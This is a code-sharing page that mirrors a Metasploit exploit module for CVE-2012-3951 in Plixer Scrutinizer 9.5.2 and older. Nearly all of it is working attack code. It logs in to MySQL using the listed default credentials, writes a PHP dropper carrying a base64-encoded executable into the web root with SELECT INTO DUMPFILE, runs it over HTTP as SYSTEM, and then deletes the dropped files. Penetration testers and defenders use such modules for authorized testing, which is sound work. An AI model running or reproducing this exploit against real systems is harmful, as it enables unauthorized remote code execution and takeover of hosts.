CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::MYSQL
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::EXE
12
13
def initialize(info={})
14
super(update_info(info,
15
'Name' => "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential",
16
'Description' => %q{
17
This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.
18
By default, the software installs a default password in MySQL, and binds the
19
service to "0.0.0.0". This allows any remote user to login to MySQL, and then
20
gain arbitrary remote code execution under the context of 'SYSTEM'. Examples
21
of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.
22
},
23
'License' => MSF_LICENSE,
24
'Author' =>
25
[
26
'MC',
27
'Jonathan Claudius',
28
'Tanya Secker',
29
'sinn3r'
30
],
31
'References' =>
32
[
33
['CVE', '2012-3951'],
34
['OSVDB', '84317'],
35
['URL', 'http://web.archive.org/web/20140722224651/http://secunia.com/advisories/50074/'],
36
['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt']
37
],
38
'Payload' =>
39
{
40
'BadChars' => "\x00"
41
},
42
'DefaultOptions' =>
43
{
44
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
45
},
46
'Platform' => 'win',
47
'Targets' =>
48
[
49
['Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older', {}]
50
],
51
'Privileged' => false,
52
'DisclosureDate' => '2012-07-27',
53
'DefaultTarget' => 0))
54
55
register_options(
56
[
57
OptString.new("USERNAME", [true, 'The default MySQL username', 'scrutremote']),
58
OptString.new("PASSWORD", [true, 'The default MySQL password', 'admin']),
59
OptPort.new("MYSQLPORT", [true, 'The MySQL\'s remote port', 3306]),
60
OptPort.new("HTTPPORT", [true, 'The HTTP Server\'s remote port', 80]),
61
OptString.new("TARGETURI", [true, 'The web application\'s base path', '/'])
62
])
63
64
# Both MySQL and HTTP need to use this, we'll have to register on the fly.
65
deregister_options('RPORT')
66
67
self.needs_cleanup = true
68
end
69
70
71
def check
72
tmp_rport = datastore['RPORT']
73
datastore['RPORT'] = datastore['HTTPPORT']
74
res = send_request_raw({'uri'=>'/'}) #Check the base path for regex
75
datastore['RPORT'] = tmp_rport
76
if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
77
res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/
78
return Exploit::CheckCode::Appears
79
end
80
81
return Exploit::CheckCode::Safe
82
end
83
84
85
def get_php_payload(fname)
86
p = Rex::Text.encode_base64(generate_payload_exe)
87
php = %Q|
88
<?php
89
$f = fopen("#{fname}", "wb");
90
fwrite($f, base64_decode("#{p}"));
91
fclose($f);
92
exec("#{fname}");
93
?>
94
|
95
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
96
return php
97
end
98
99
100
#
101
# I wanna be able to choose my own destination... path!
102
#
103
def mysql_upload_binary(bindata, path)
104
# Modify the rport so we can use MySQL
105
datastore['RPORT'] = datastore['MYSQLPORT']
106
107
# Login
108
h = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
109
return false if not h
110
111
tmp = mysql_get_temp_dir
112
p = bindata.unpack("H*")[0]
113
dest = tmp + path
114
mysql_query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
115
return true
116
end
117
118
119
def exe_php(php_fname)
120
# Modify the rport so we can use HTTP
121
datastore['RPORT'] = datastore['HTTPPORT']
122
123
# Request our payload
124
uri = normalize_uri(target_uri.path)
125
path = File.dirname("#{uri}/.")
126
res = send_request_raw({'uri'=>"#{path}#{php_fname}"})
127
return (res and res.code == 200)
128
end
129
130
131
def cleanup
132
datastore['RPORT'] = @original_rport
133
end
134
135
136
def on_new_session(cli)
137
if cli.type != 'meterpreter'
138
print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
139
return
140
end
141
142
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
143
144
begin
145
print_warning("Deleting #{@php_fname}")
146
cli.fs.file.rm(@php_fname)
147
rescue ::Exception => e
148
print_error("Please note: #{@php_fname} is stil on disk.")
149
end
150
151
begin
152
print_warning("Deleting #{@exe_fname}")
153
cli.fs.file.rm(@exe_fname)
154
rescue ::Exception => e
155
print_error("Please note: #{@exe_fname} is still on disk.")
156
end
157
end
158
159
160
def exploit
161
@original_rport = datastore['RPORT']
162
163
#
164
# Prepare our payload (naughty exe embedded in php)
165
#
166
@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
167
p = get_php_payload(@exe_fname)
168
169
#
170
# Upload our payload to the html directory
171
#
172
print_status("Uploading #{p.length.to_s} bytes via MySQL...")
173
@php_fname = Rex::Text.rand_text_alpha(5) + '.php'
174
if not mysql_upload_binary(p, "../../html/#{@php_fname}")
175
print_error("That MySQL upload didn't work.")
176
return
177
end
178
179
#
180
# Execute the payload
181
#
182
print_status("Requesting #{@php_fname}...")
183
res = exe_php(@php_fname)
184
185
handler
186
end
187
end
188
189